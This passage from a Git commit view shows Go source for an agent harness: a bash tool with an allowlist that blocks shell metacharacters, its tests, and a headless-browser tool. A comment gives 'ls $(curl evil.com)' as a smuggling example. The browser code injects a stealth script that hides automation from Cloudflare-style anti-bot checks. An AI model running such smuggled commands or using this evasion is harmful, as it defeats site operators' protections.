Initial commit: Go agentic harness extracted from Felix

This commit is contained in:
sausheong committed 2026-05-07 11:31:42 +08:00
commit 1f2c471ff9
89 files changed
+19388

No files matched your search

+277
View File
@@ -0,0 +1,277 @@
package bash
import (
"bytes"
"context"
"encoding/json"
"fmt"
"os/exec"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/sausheong/harness/tool"
)
// bashAbsPathRE matches absolute-path tokens in a shell command:
// - inside single quotes: '/...'
// - inside double quotes: "/..."
// - bare with optional backslash-escaped chars: /... up to unescaped whitespace
//
// The three alternatives intentionally use distinct capture groups so the
// caller can tell which form matched and re-quote correctly.
var bashAbsPathRE = regexp.MustCompile(`'(/[^']*)'|"(/[^"]*)"|(/(?:[^\s\\]|\\.)+)`)
// resolveBashCommandPaths scans cmd for absolute-path tokens and substitutes
// any that don't exist on disk with their Unicode-whitespace-normalized
// counterparts. Returns the rewritten command and a list of [original, resolved]
// substitution pairs that were made (empty if none).
//
// Substitution uses tool.ResolveExistingPathStrict, which only touches an entry
// when it actually contains Unicode whitespace — preventing wrong substitutions
// on create-style commands like `mkdir /tmp/newdir`.
func resolveBashCommandPaths(cmd string) (string, [][2]string) {
var subs [][2]string
out := bashAbsPathRE.ReplaceAllStringFunc(cmd, func(match string) string {
groups := bashAbsPathRE.FindStringSubmatch(match)
var raw string
switch {
case groups[1] != "":
raw = groups[1]
case groups[2] != "":
raw = groups[2]
case groups[3] != "":
raw = unescapeBashToken(groups[3])
}
if raw == "" {
return match
}
resolved := tool.ResolveExistingPathStrict(raw)
if resolved == raw {
return match
}
subs = append(subs, [2]string{raw, resolved})
return shellSingleQuote(resolved)
})
return out, subs
}
// shellSingleQuote wraps s in single quotes, escaping any embedded single
// quotes via the standard '\'' dance.
func shellSingleQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
}
// unescapeBashToken removes single-character backslash escapes so the
// resulting string can be stat()'d against the filesystem.
func unescapeBashToken(s string) string {
var b strings.Builder
b.Grow(len(s))
for i := 0; i < len(s); i++ {
if s[i] == '\\' && i+1 < len(s) {
b.WriteByte(s[i+1])
i++
continue
}
b.WriteByte(s[i])
}
return b.String()
}
const defaultBashTimeout = 120 * time.Second
// ExecPolicy controls which commands the bash tool is allowed to execute.
type ExecPolicy struct {
Level string // "deny", "allowlist", "full"
Allowlist []string // command basenames allowed when Level is "allowlist"
}
// BashTool executes shell commands.
type BashTool struct {
WorkDir string
ExecPolicy *ExecPolicy // nil means "full" (allow everything)
}
type bashInput struct {
Command string `json:"command"`
Timeout int `json:"timeout"` // seconds, optional
}
func (t *BashTool) Name() string { return "bash" }
func (t *BashTool) Description() string {
return "Execute a bash command and return its output. The command runs in a shell with a configurable timeout (default 120 seconds). IMPORTANT: always wrap file paths in double quotes (e.g. cat \"/path/with spaces/file.txt\") so paths containing spaces or special characters survive shell tokenization."
}
func (t *BashTool) Parameters() json.RawMessage {
return json.RawMessage(`{
"type": "object",
"properties": {
"command": {
"type": "string",
"description": "The bash command to execute"
},
"timeout": {
"type": "integer",
"description": "Timeout in seconds (default: 120)"
}
},
"required": ["command"]
}`)
}
// extractCommands extracts executable names from a bash command string.
// It splits on pipes, semicolons, &&, and || to find each sub-command,
// then takes the first token (the executable) from each.
func extractCommands(cmd string) []string {
// Split on shell operators
var parts []string
remaining := cmd
for len(remaining) > 0 {
// Find the earliest operator
minIdx := len(remaining)
opLen := 0
for _, op := range []string{"&&", "||", "|", ";"} {
if idx := strings.Index(remaining, op); idx != -1 && idx < minIdx {
minIdx = idx
opLen = len(op)
}
}
part := strings.TrimSpace(remaining[:minIdx])
if part != "" {
parts = append(parts, part)
}
if minIdx+opLen >= len(remaining) {
break
}
remaining = remaining[minIdx+opLen:]
}
var cmds []string
for _, part := range parts {
// Strip leading env vars (e.g., "FOO=bar command")
for tok := range strings.FieldsSeq(part) {
if strings.Contains(tok, "=") && !strings.HasPrefix(tok, "-") {
continue // skip env var assignments
}
cmds = append(cmds, filepath.Base(tok))
break
}
}
return cmds
}
// IsConcurrencySafe returns false — bash runs arbitrary commands with side effects.
func (t *BashTool) IsConcurrencySafe(_ json.RawMessage) bool { return false }
func (t *BashTool) Execute(ctx context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in bashInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
}
if in.Command == "" {
return tool.ToolResult{Error: "command is required"}, nil
}
// Recover from Unicode-whitespace path mismatches the LLM may emit
// (e.g. ASCII spaces in a filename that on disk uses NBSP). Substitution
// only fires when the on-disk entry actually contains Unicode whitespace,
// so create-style commands like `mkdir /tmp/newdir` are unaffected.
resolvedCmd, pathSubs := resolveBashCommandPaths(in.Command)
in.Command = resolvedCmd
// Enforce exec policy
if t.ExecPolicy != nil {
switch t.ExecPolicy.Level {
case "deny":
return tool.ToolResult{Error: "bash execution is disabled by policy"}, nil
case "allowlist":
// Block shell metacharacters that can execute arbitrary code
// inside an otherwise-allowed command (e.g. ls $(curl evil.com))
for _, meta := range []string{"$(", "`", "<(", ">(", "${", "\\n"} {
if strings.Contains(in.Command, meta) {
return tool.ToolResult{Error: "command contains shell metacharacters not allowed in allowlist mode"}, nil
}
}
cmds := extractCommands(in.Command)
allowed := make(map[string]bool, len(t.ExecPolicy.Allowlist))
for _, a := range t.ExecPolicy.Allowlist {
allowed[a] = true
}
for _, cmd := range cmds {
if !allowed[cmd] {
return tool.ToolResult{Error: fmt.Sprintf("command %q is not in the exec allowlist", cmd)}, nil
}
}
}
// "full" or unrecognized: allow everything
}
timeout := defaultBashTimeout
if in.Timeout > 0 {
timeout = time.Duration(in.Timeout) * time.Second
}
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.CommandContext(ctx, "cmd", "/c", in.Command)
} else {
cmd = exec.CommandContext(ctx, "bash", "-c", in.Command)
}
if t.WorkDir != "" {
cmd.Dir = t.WorkDir
}
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
output := stdout.String()
errOutput := stderr.String()
notice := pathSubsNotice(pathSubs)
if err != nil {
msg := err.Error()
if ctx.Err() == context.DeadlineExceeded {
msg = "command timed out"
}
if errOutput != "" {
msg = errOutput
}
return tool.ToolResult{
Output: notice + output,
Error: msg,
}, nil
}
if errOutput != "" {
output += "\nSTDERR:\n" + errOutput
}
return tool.ToolResult{Output: notice + output}, nil
}
// pathSubsNotice formats a one-block notice listing any path substitutions
// the bash tool made before exec, so the LLM can see what changed and why.
func pathSubsNotice(subs [][2]string) string {
if len(subs) == 0 {
return ""
}
var b strings.Builder
b.WriteString("[felix] adjusted paths in command (Unicode-whitespace recovery):\n")
for _, s := range subs {
fmt.Fprintf(&b, " %q -> %q\n", s[0], s[1])
}
b.WriteString("---\n")
return b.String()
}
+144
View File
@@ -0,0 +1,144 @@
package bash
import (
"os"
"path/filepath"
"strings"
"testing"
"github.com/sausheong/harness/tool"
)
func TestSanitizeLLMText(t *testing.T) {
tests := []struct {
name string
in string
want string
}{
{"ascii passthrough", "ls -la /tmp", "ls -la /tmp"},
{"nbsp between words", "open /Users/me/SGQR\u00a0Specs.pdf", "open /Users/me/SGQR Specs.pdf"},
{"narrow nbsp", "echo a\u202fb", "echo a b"},
{"ideographic space", "echo a\u3000b", "echo a b"},
{"en space", "echo a\u2002b", "echo a b"},
{"zero-width joiner stripped", "echo foo\u200dbar", "echo foobar"},
{"bom stripped", "\ufeffls", "ls"},
{"line separator to newline", "ls\u2028pwd", "ls\npwd"},
{"preserves real tab and newline", "ls\t-l\npwd", "ls\t-l\npwd"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := tool.SanitizeLLMText(tt.in); got != tt.want {
t.Errorf("tool.SanitizeLLMText(%q) = %q, want %q", tt.in, got, tt.want)
}
})
}
}
func TestResolveBashCommandPaths(t *testing.T) {
dir := t.TempDir()
// File on disk with NBSP in its name.
nbspPath := filepath.Join(dir, "SGQR\u00a0Specifications.pdf")
if err := os.WriteFile(nbspPath, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
asciiVariant := filepath.Join(dir, "SGQR Specifications.pdf")
// A file with a plain ASCII-space name; it must NOT be substituted
// because its on-disk name has no Unicode whitespace.
plainPath := filepath.Join(dir, "plain.txt")
if err := os.WriteFile(plainPath, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
tests := []struct {
name string
cmd string
wantCmd string
wantSubs int
}{
{
name: "backslash-escaped path with ascii spaces resolves to nbsp file",
cmd: "pdftotext " + strings.ReplaceAll(asciiVariant, " ", `\ `) + " /tmp/out.txt",
wantCmd: "pdftotext " + shellSingleQuote(nbspPath) + " /tmp/out.txt",
wantSubs: 1,
},
{
name: "double-quoted path resolves",
cmd: `pdftotext "` + asciiVariant + `" /tmp/out.txt`,
wantCmd: "pdftotext " + shellSingleQuote(nbspPath) + " /tmp/out.txt",
wantSubs: 1,
},
{
name: "single-quoted path resolves",
cmd: `pdftotext '` + asciiVariant + `' /tmp/out.txt`,
wantCmd: "pdftotext " + shellSingleQuote(nbspPath) + " /tmp/out.txt",
wantSubs: 1,
},
{
name: "create-style command on missing path is left alone",
cmd: "mkdir " + filepath.Join(dir, "newdir"),
wantCmd: "mkdir " + filepath.Join(dir, "newdir"),
wantSubs: 0,
},
{
name: "existing path is left alone",
cmd: "cat " + plainPath,
wantCmd: "cat " + plainPath,
wantSubs: 0,
},
{
name: "no absolute paths is a no-op",
cmd: "echo hello",
wantCmd: "echo hello",
wantSubs: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got, subs := resolveBashCommandPaths(tt.cmd)
if got != tt.wantCmd {
t.Errorf("cmd:\n got: %q\n want: %q", got, tt.wantCmd)
}
if len(subs) != tt.wantSubs {
t.Errorf("subs count: got %d, want %d (subs=%v)", len(subs), tt.wantSubs, subs)
}
})
}
}
func TestResolveExistingPath(t *testing.T) {
dir := t.TempDir()
// File on disk has a real NBSP in its name.
nbspPath := filepath.Join(dir, "SGQR\u00a0Specifications.pdf")
if err := os.WriteFile(nbspPath, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
// File on disk has plain ASCII space.
asciiPath := filepath.Join(dir, "plain space.txt")
if err := os.WriteFile(asciiPath, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
asciiVariantOfNBSP := filepath.Join(dir, "SGQR Specifications.pdf")
missing := filepath.Join(dir, "does-not-exist.txt")
tests := []struct {
name string
in string
want string
}{
{"existing nbsp path returned unchanged", nbspPath, nbspPath},
{"existing ascii path returned unchanged", asciiPath, asciiPath},
{"nbsp emitted by LLM for ascii-space file resolves", filepath.Join(dir, "plain\u00a0space.txt"), asciiPath},
{"ascii-space LLM input recovers real nbsp file via dir scan", asciiVariantOfNBSP, nbspPath},
{"missing path returned unchanged", missing, missing},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := tool.ResolveExistingPath(tt.in); got != tt.want {
t.Errorf("tool.ResolveExistingPath(%q) = %q, want %q", tt.in, got, tt.want)
}
})
}
}
+761
View File
@@ -0,0 +1,761 @@
package browser
import (
"context"
"encoding/json"
"errors"
"fmt"
"strings"
"sync"
"time"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/chromedp"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/tool"
"github.com/sausheong/harness/tools/web"
)
const (
browserTimeout = 120 * time.Second
defaultViewportW = 1440
defaultViewportH = 900
networkIdleBudget = 5 * time.Second
waitForBudget = 15 * time.Second
defaultSettleMs = 1000
primaryNavigateLimit = 30 * time.Second
// elementWaitBudget bounds per-action WaitVisible/WaitReady calls so a
// single bad selector or a stuck readyState can't burn the entire
// browserTimeout (120s). With this cap, the agent gets a fast failure and
// has time left to retry with a different selector.
elementWaitBudget = 25 * time.Second
sessionIdleTimeout = 10 * time.Minute
sessionMaxCount = 5
janitorInterval = 1 * time.Minute
)
// stealthScript runs before any page script on every new document. It hides the
// most common headless/automation tells that JS-heavy sites use to refuse to
// render content (Cloudflare, Akamai, anti-bot scripts, "please enable JS"
// shells). Without this many SPAs return blank or interstitial pages.
const stealthScript = `(function(){
try { Object.defineProperty(navigator, 'webdriver', { get: () => undefined }); } catch (e) {}
try {
if (!navigator.languages || navigator.languages.length === 0) {
Object.defineProperty(navigator, 'languages', { get: () => ['en-US', 'en'] });
}
} catch (e) {}
try { Object.defineProperty(navigator, 'plugins', { get: () => [1,2,3,4,5] }); } catch (e) {}
if (!window.chrome) { window.chrome = { runtime: {} }; }
})();`
// browserSession is a long-lived Chrome target keyed by a caller-supplied name.
// One session = one tab. Calls into the same session serialize via mu so that
// chromedp actions don't interleave on the same target (chromedp targets are
// not safe under concurrent Run calls).
type browserSession struct {
mu sync.Mutex
allocCancel context.CancelFunc
taskCtx context.Context
taskCancel context.CancelFunc
lastUsed time.Time
}
// BrowserTool provides headless browser automation via Chrome DevTools Protocol.
//
// Two execution modes:
// - Ephemeral (no "session" field): each call launches a fresh browser, runs
// the action, and tears down. Cookies/state do not survive.
// - Persistent ("session" field): the named browser persists across calls so
// cookies, auth, scroll position, and SPA state carry over. Sessions
// auto-close after sessionIdleTimeout, or when "action": "close" is called.
type BrowserTool struct {
mu sync.Mutex
sessions map[string]*browserSession
stopJanitor chan struct{}
}
type browserInput struct {
Action string `json:"action"` // navigate, click, type, screenshot, get_text, evaluate, close
Session string `json:"session,omitempty"` // optional session name for cross-call persistence
URL string `json:"url,omitempty"` // for navigate
Selector string `json:"selector,omitempty"` // CSS selector for click, type, get_text
Text string `json:"text,omitempty"` // for type action
Script string `json:"script,omitempty"` // for evaluate action
Timeout int `json:"timeout,omitempty"` // seconds, optional
WaitFor string `json:"wait_for,omitempty"` // CSS selector to wait visible after navigation
WaitMs int `json:"wait_ms,omitempty"` // extra settle sleep ms after the page is ready
}
func (t *BrowserTool) Name() string { return "browser" }
func (t *BrowserTool) Description() string {
return `Control a headless Chrome browser.
CRITICAL — RULE OF SESSIONS:
Each tool call uses an isolated, fresh browser by default. State (current URL, cookies, scroll, SPA hydration) does NOT carry over between calls.
If you intend to call this tool MORE THAN ONCE for the same page or flow, you MUST pass "session": "<any-label>" on EVERY call. Pick a label like "hormuz" or "github-login" and reuse it. Otherwise the second call starts on about:blank and your screenshot is blank, your get_text is empty, your click finds nothing.
WORKED EXAMPLE — visit a page and screenshot it:
WRONG (two ephemeral browsers):
1) {"action":"navigate","url":"https://example.com"}
2) {"action":"screenshot"} ← blank, screenshots about:blank
RIGHT (one browser, two calls):
1) {"action":"navigate","url":"https://example.com","session":"ex"}
2) {"action":"screenshot","session":"ex"}
3) {"action":"close","session":"ex"} ← optional; auto-closes after 10 min idle
ONE-SHOT pattern (no session) — pass "url" on every action so each call navigates first inside its own ephemeral browser:
{"action":"screenshot","url":"https://example.com"} ← navigates THEN screenshots, single call
ACTIONS:
- "navigate": Go to a URL. Requires "url".
- "click": Click an element. Requires "selector". Optional "url" to navigate first.
- "type": Type text into an input field. Requires "selector" and "text". Optional "url".
- "get_text": Get the inner HTML of an element or the full page. Optional "selector" (defaults to body). Optional "url".
- "screenshot": Take a screenshot of the current page. Optional "url". Returns the image.
- "evaluate": Execute JavaScript in the page. Requires "script". Optional "url".
- "close": Close a persistent session. Requires "session".
JS-HEAVY pages — the tool already waits for body-ready and network-idle automatically, but for SPAs that render content asynchronously the most reliable signal is "wait_for" (CSS selector that appears once content is rendered, e.g. "main article" or "#root .loaded"). "wait_ms" adds extra settle time in milliseconds after network-idle (default 1000). Sessions auto-close after 10 minutes of inactivity (max 5 concurrent).
SELECTORS — standard CSS only. Playwright/jQuery extensions are NOT supported: ":has-text(...)", "text=...", ">>" chains, "/...//xpath" all fail. To match by text, use attribute selectors ([aria-label="…"], [title="…"]), structural selectors (:nth-of-type, :nth-child), or "evaluate" with document.querySelector / XPath via document.evaluate.`
}
func (t *BrowserTool) Parameters() json.RawMessage {
return json.RawMessage(`{
"type": "object",
"properties": {
"action": {
"type": "string",
"enum": ["navigate", "click", "type", "get_text", "screenshot", "evaluate", "close"],
"description": "The browser action to perform"
},
"session": {
"type": "string",
"description": "Optional session name. If provided, the browser persists across calls with the same name (cookies, auth, SPA state survive). Omit for one-shot calls. Required for the close action."
},
"url": {
"type": "string",
"description": "URL to navigate to (required for navigate; optional for other actions)"
},
"selector": {
"type": "string",
"description": "CSS selector for the target element (required for click, type; optional for get_text)"
},
"text": {
"type": "string",
"description": "Text to type (required for type action)"
},
"script": {
"type": "string",
"description": "JavaScript code to evaluate (required for evaluate action)"
},
"timeout": {
"type": "integer",
"description": "Timeout in seconds (default: 120)"
},
"wait_for": {
"type": "string",
"description": "Optional CSS selector to wait visible after navigation, before performing the action. Use this for SPAs that render content asynchronously."
},
"wait_ms": {
"type": "integer",
"description": "Optional extra settle time in milliseconds after the page reaches network-idle (default: 1000)."
}
},
"required": ["action"]
}`)
}
// browserRegistry tracks every BrowserTool created via NewBrowserTool so the
// process can close all live Chrome subprocesses on shutdown. Tests that
// construct BrowserTool directly (&BrowserTool{}) are intentionally not
// tracked — they never spawn real browsers.
var browserRegistry struct {
mu sync.Mutex
tools []*BrowserTool
}
// NewBrowserTool constructs a BrowserTool and registers it for global
// shutdown. Used by RegisterCoreTools.
func NewBrowserTool() *BrowserTool {
t := &BrowserTool{}
browserRegistry.mu.Lock()
browserRegistry.tools = append(browserRegistry.tools, t)
browserRegistry.mu.Unlock()
return t
}
// ShutdownBrowsers closes all live browser sessions across every BrowserTool
// instance the process registered. Safe to call from a signal handler at
// process exit; safe to call when no sessions were ever opened.
func ShutdownBrowsers() {
browserRegistry.mu.Lock()
all := browserRegistry.tools
browserRegistry.tools = nil
browserRegistry.mu.Unlock()
for _, t := range all {
t.Shutdown()
}
}
// Shutdown closes all live sessions and stops the idle janitor. Safe to call
// multiple times; safe to call before any session was ever created.
func (t *BrowserTool) Shutdown() {
t.mu.Lock()
defer t.mu.Unlock()
for name, sess := range t.sessions {
sess.taskCancel()
sess.allocCancel()
delete(t.sessions, name)
}
if t.stopJanitor != nil {
close(t.stopJanitor)
t.stopJanitor = nil
}
}
// IsConcurrencySafe returns false — browser sessions are stateful (navigation,
// cookies, scroll position) and not safe to drive concurrently.
func (t *BrowserTool) IsConcurrencySafe(_ json.RawMessage) bool { return false }
func (t *BrowserTool) Execute(ctx context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in browserInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
}
if in.Action == "" {
return tool.ToolResult{Error: "action is required"}, nil
}
// "close" is a session-management action; handled before any browser launch.
if in.Action == "close" {
if in.Session == "" {
return tool.ToolResult{Error: "session is required for close action"}, nil
}
if t.closeSession(in.Session) {
return tool.ToolResult{Output: fmt.Sprintf("Closed session %q", in.Session)}, nil
}
return tool.ToolResult{Output: fmt.Sprintf("No active session %q", in.Session)}, nil
}
// Validate URL early so a bad URL never launches Chrome.
if in.URL != "" {
if !strings.HasPrefix(in.URL, "http://") && !strings.HasPrefix(in.URL, "https://") {
return tool.ToolResult{Error: "url must start with http:// or https://"}, nil
}
if err := web.ValidateURLNotInternal(in.URL); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("navigate failed: %v", err)}, nil
}
}
if in.Action == "navigate" && in.URL == "" {
return tool.ToolResult{Error: "url is required for navigate action"}, nil
}
switch in.Action {
case "click":
if in.Selector == "" {
return tool.ToolResult{Error: "selector is required for click action"}, nil
}
case "type":
if in.Selector == "" {
return tool.ToolResult{Error: "selector is required for type action"}, nil
}
if in.Text == "" {
return tool.ToolResult{Error: "text is required for type action"}, nil
}
case "evaluate":
if in.Script == "" {
return tool.ToolResult{Error: "script is required for evaluate action"}, nil
}
}
// Catch the about:blank trap: any post-navigation action (screenshot,
// get_text, evaluate, click, type) called WITHOUT a URL AND WITHOUT a
// session will land in a fresh browser on about:blank — producing a
// blank screenshot, empty text, or a no-op script. Each tool call uses
// its own browser; state does not survive between calls unless "session"
// is supplied. Fail fast with an actionable hint instead of silently
// returning useless output.
if in.URL == "" && in.Session == "" {
switch in.Action {
case "screenshot", "get_text", "evaluate", "click", "type":
return tool.ToolResult{Error: fmt.Sprintf(
"%s called without 'url' or 'session'. Each browser call uses a fresh browser starting on about:blank, so state does NOT carry over between calls. Either: (a) pass 'url' to navigate first, or (b) pass the same 'session: \"<name>\"' on every call in a multi-step flow (navigate, then act, then close).",
in.Action,
)}, nil
}
}
timeout := browserTimeout
if in.Timeout > 0 {
timeout = time.Duration(in.Timeout) * time.Second
}
callCtx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
taskCtx, release, err := t.acquireBrowser(callCtx, in.Session, timeout)
if err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
defer release()
return t.dispatch(taskCtx, in)
}
// acquireBrowser returns a chromedp task context the caller can pass to
// chromedp.Run, plus a release function that MUST be deferred. For ephemeral
// calls (session == ""), release tears down the browser. For persistent
// sessions, release just unlocks the session and updates lastUsed; the browser
// keeps running until close or idle timeout.
func (t *BrowserTool) acquireBrowser(callCtx context.Context, session string, timeout time.Duration) (context.Context, func(), error) {
if session == "" {
taskCtx, cleanup, err := launchBrowser(callCtx)
if err != nil {
return nil, nil, fmt.Errorf("browser launch failed: %w", err)
}
return taskCtx, cleanup, nil
}
sess, err := t.getOrCreateSession(session)
if err != nil {
return nil, nil, err
}
sess.mu.Lock()
// If the session's underlying browser died (canceled, crashed), discard and recreate.
if sess.taskCtx.Err() != nil {
sess.taskCancel()
sess.allocCancel()
sess.mu.Unlock()
t.removeSession(session)
// Recurse once to retry with a fresh session under the same name.
return t.acquireBrowser(callCtx, session, timeout)
}
// Per-call deadline derived from the session's task ctx — child contexts
// share the chromedp target, so chromedp.Run drives the same browser tab.
callTaskCtx, callTaskCancel := context.WithTimeout(sess.taskCtx, timeout)
release := func() {
callTaskCancel()
sess.lastUsed = time.Now()
sess.mu.Unlock()
}
return callTaskCtx, release, nil
}
func (t *BrowserTool) getOrCreateSession(name string) (*browserSession, error) {
t.mu.Lock()
defer t.mu.Unlock()
if t.sessions == nil {
t.sessions = make(map[string]*browserSession)
}
if sess, ok := t.sessions[name]; ok {
return sess, nil
}
if len(t.sessions) >= sessionMaxCount {
return nil, fmt.Errorf("session limit reached (%d). Close an existing session before opening %q", sessionMaxCount, name)
}
// Persistent browsers are rooted on context.Background so they outlive any
// single call's deadline. They die only on explicit close, Shutdown, idle
// timeout, or process exit.
taskCtx, cleanup, err := launchBrowser(context.Background())
if err != nil {
return nil, fmt.Errorf("browser launch failed: %w", err)
}
// We need separate cancels for taskCtx vs allocCtx so closeSession can tear
// down deterministically. launchBrowser returns a single cleanup that does
// both — wrap it.
sess := &browserSession{
taskCtx: taskCtx,
taskCancel: cleanup, // cleanup tears down both task + alloc
allocCancel: func() {}, // no-op; cleanup already covers alloc
lastUsed: time.Now(),
}
t.sessions[name] = sess
t.startJanitorOnce()
return sess, nil
}
func (t *BrowserTool) closeSession(name string) bool {
t.mu.Lock()
sess, ok := t.sessions[name]
if ok {
delete(t.sessions, name)
}
t.mu.Unlock()
if !ok {
return false
}
sess.taskCancel()
sess.allocCancel()
return true
}
// removeSession deletes a session from the map without touching its cancels —
// caller has already canceled. Used by acquireBrowser's stale-session path.
func (t *BrowserTool) removeSession(name string) {
t.mu.Lock()
delete(t.sessions, name)
t.mu.Unlock()
}
func (t *BrowserTool) startJanitorOnce() {
if t.stopJanitor != nil {
return
}
t.stopJanitor = make(chan struct{})
stop := t.stopJanitor
go func() {
ticker := time.NewTicker(janitorInterval)
defer ticker.Stop()
for {
select {
case <-stop:
return
case <-ticker.C:
t.reapIdleSessions()
}
}
}()
}
func (t *BrowserTool) reapIdleSessions() {
now := time.Now()
type victim struct {
name string
sess *browserSession
}
var victims []victim
t.mu.Lock()
for name, sess := range t.sessions {
// Read lastUsed under the session's mutex; if a call is in flight we
// skip this round (the call holds the lock).
if !sess.mu.TryLock() {
continue
}
idle := now.Sub(sess.lastUsed)
sess.mu.Unlock()
if idle >= sessionIdleTimeout {
victims = append(victims, victim{name, sess})
delete(t.sessions, name)
}
}
t.mu.Unlock()
for _, v := range victims {
v.sess.taskCancel()
v.sess.allocCancel()
}
}
// launchBrowser starts a fresh Chrome and returns its task context plus a
// teardown function that closes both the task and the underlying allocator.
func launchBrowser(parent context.Context) (context.Context, context.CancelFunc, error) {
allocCtx, allocCancel := chromedp.NewExecAllocator(parent,
append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox,
chromedp.WindowSize(defaultViewportW, defaultViewportH),
chromedp.UserAgent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"),
chromedp.Flag("disable-blink-features", "AutomationControlled"),
chromedp.Flag("lang", "en-US"),
)...,
)
taskCtx, taskCancel := chromedp.NewContext(allocCtx)
if err := chromedp.Run(taskCtx,
chromedp.ActionFunc(func(ctx context.Context) error {
if _, err := page.AddScriptToEvaluateOnNewDocument(stealthScript).Do(ctx); err != nil {
return err
}
return page.SetLifecycleEventsEnabled(true).Do(ctx)
}),
); err != nil {
taskCancel()
allocCancel()
return nil, nil, err
}
cleanup := func() {
taskCancel()
allocCancel()
}
return taskCtx, cleanup, nil
}
func (t *BrowserTool) dispatch(taskCtx context.Context, in browserInput) (tool.ToolResult, error) {
switch in.Action {
case "navigate":
return t.navigate(taskCtx, in)
case "click":
return t.click(taskCtx, in)
case "type":
return t.typeText(taskCtx, in)
case "get_text":
return t.getText(taskCtx, in)
case "screenshot":
return t.screenshot(taskCtx, in)
case "evaluate":
return t.evaluate(taskCtx, in)
default:
return tool.ToolResult{Error: fmt.Sprintf("unknown action: %q (valid: navigate, click, type, get_text, screenshot, evaluate, close)", in.Action)}, nil
}
}
// navigateIfNeeded navigates to in.URL if non-empty, then waits for the page to
// be ready: body-visible, network-idle (soft 5s budget), an optional caller-
// supplied wait_for selector, and a small settle sleep. Returns nil if no URL
// was supplied (lets persistent sessions act on the already-loaded page).
//
// chromedp.Navigate waits for the load event, which is the most reliable
// signal but can hang on pages with stuck network calls (analytics scripts,
// never-resolving fetches). On load-wait timeout we retry with the low-level
// page.Navigate which returns as soon as navigation is committed.
func (t *BrowserTool) navigateIfNeeded(ctx context.Context, in browserInput) error {
if in.URL == "" {
return nil
}
return t.doNavigate(ctx, in)
}
func (t *BrowserTool) doNavigate(ctx context.Context, in browserInput) error {
// Listener must be registered BEFORE navigation so we don't miss the
// networkIdle event for fast pages.
idleCh := make(chan struct{}, 1)
chromedp.ListenTarget(ctx, func(ev any) {
if e, ok := ev.(*page.EventLifecycleEvent); ok && e.Name == "networkIdle" {
select {
case idleCh <- struct{}{}:
default:
}
}
})
primaryCtx, cancel := halfDeadlineContext(ctx, primaryNavigateLimit)
defer cancel()
err := chromedp.Run(primaryCtx,
chromedp.Navigate(in.URL),
chromedp.WaitReady("body"),
)
if err != nil {
if !errors.Is(err, context.DeadlineExceeded) {
return err
}
// Fallback: low-level navigate that returns as soon as nav is committed.
if err := chromedp.Run(ctx,
chromedp.ActionFunc(func(ctx context.Context) error {
_, _, _, _, err := page.Navigate(in.URL).Do(ctx)
return err
}),
chromedp.WaitReady("body"),
); err != nil {
return err
}
}
// Soft-wait for network to settle. WaitReady("body") fires before SPA
// scripts have rendered content; the networkIdle lifecycle event is the
// real "page is done loading" signal. Time out without erroring so pages
// with persistent connections (websockets, long-poll) still proceed.
select {
case <-idleCh:
case <-time.After(networkIdleBudget):
case <-ctx.Done():
return ctx.Err()
}
// Caller-supplied gating selector — strongest signal for SPAs.
if in.WaitFor != "" {
waitCtx, waitCancel := context.WithTimeout(ctx, waitForBudget)
defer waitCancel()
if err := chromedp.Run(waitCtx, chromedp.WaitVisible(in.WaitFor)); err != nil {
return fmt.Errorf("wait_for %q: %w", in.WaitFor, err)
}
}
// Final settle sleep so post-render JS (animations, lazy hydration,
// follow-up XHRs that don't reset networkIdle) gets a chance to run.
settleMs := in.WaitMs
if settleMs <= 0 {
settleMs = defaultSettleMs
}
return chromedp.Run(ctx, chromedp.Sleep(time.Duration(settleMs)*time.Millisecond))
}
// waitForElement runs a wait action (WaitVisible / WaitReady / etc.) under a
// bounded sub-context so a single bad selector or stuck readyState can't burn
// the entire browser call budget. Returns a friendly error on timeout that
// names the most common causes — Playwright-style selectors and unrendered
// SPA content — instead of the opaque "context deadline exceeded".
func waitForElement(ctx context.Context, action, selector string, wait chromedp.Action) error {
waitCtx, cancel := context.WithTimeout(ctx, elementWaitBudget)
defer cancel()
if err := chromedp.Run(waitCtx, wait); err != nil {
if errors.Is(err, context.DeadlineExceeded) {
return fmt.Errorf("%s timed out waiting for selector %q after %ds. Common causes: invalid CSS selector (Playwright-style :has-text()/text=/>> are NOT supported — use attribute selectors or evaluate); element never appears (try a different selector or pass wait_for/wait_ms); page never finishes loading",
action, selector, int(elementWaitBudget.Seconds()))
}
return fmt.Errorf("%s failed on %q: %w", action, selector, err)
}
return nil
}
// halfDeadlineContext returns a context whose deadline is half of the parent's
// remaining time, clamped to a minimum so it doesn't collapse to nothing on
// already-near-expiry contexts. If the parent has no deadline, the minimum is
// used as the absolute timeout.
func halfDeadlineContext(parent context.Context, minTimeout time.Duration) (context.Context, context.CancelFunc) {
if dl, ok := parent.Deadline(); ok {
remaining := time.Until(dl)
half := max(remaining/2, minTimeout)
return context.WithTimeout(parent, half)
}
return context.WithTimeout(parent, minTimeout)
}
func (t *BrowserTool) navigate(ctx context.Context, in browserInput) (tool.ToolResult, error) {
